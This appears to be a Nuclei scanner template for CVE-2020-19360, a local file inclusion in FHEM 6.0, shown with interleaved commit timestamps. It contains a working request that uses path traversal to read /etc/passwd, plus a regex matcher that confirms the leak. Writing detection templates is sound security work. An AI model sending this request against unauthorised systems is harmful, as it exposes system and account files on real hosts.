2021-11-13 03:35:48 +00:00
|
|
|
id: CVE-2020-19360
|
2022-04-22 10:38:41 +00:00
|
|
|
|
2021-11-13 03:35:48 +00:00
|
|
|
info:
|
2022-05-09 16:12:52 +00:00
|
|
|
name: FHEM 6.0 - Local File Inclusion
|
2021-11-13 03:35:48 +00:00
|
|
|
author: 0x_Akoko
|
|
|
|
severity: high
|
|
|
|
description: FHEM version 6.0 suffers from a local file inclusion vulnerability.
|
2023-09-06 12:22:36 +00:00
|
|
|
remediation: |
|
|
|
|
Apply the latest patch or upgrade to a version that is not affected by the vulnerability.
|
2021-11-13 03:35:48 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability
|
|
|
|
- https://emreovunc.com/blog/en/FHEM-v6.0-LFI-Vulnerability-01.png
|
2022-10-10 19:22:59 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-19360
|
2021-11-13 03:35:48 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cve-id: CVE-2020-19360
|
2023-07-11 19:49:27 +00:00
|
|
|
cwe-id: CWE-22
|
2023-08-31 11:46:18 +00:00
|
|
|
epss-score: 0.08829
|
|
|
|
epss-percentile: 0.93744
|
2023-09-06 12:22:36 +00:00
|
|
|
cpe: cpe:2.3:a:fhem:fhem:6.0:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: fhem
|
|
|
|
product: fhem
|
|
|
|
tags: fhem,lfi,cve,cve2020
|
2021-11-13 03:35:48 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-11-13 03:35:48 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:[x*]:0:0"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|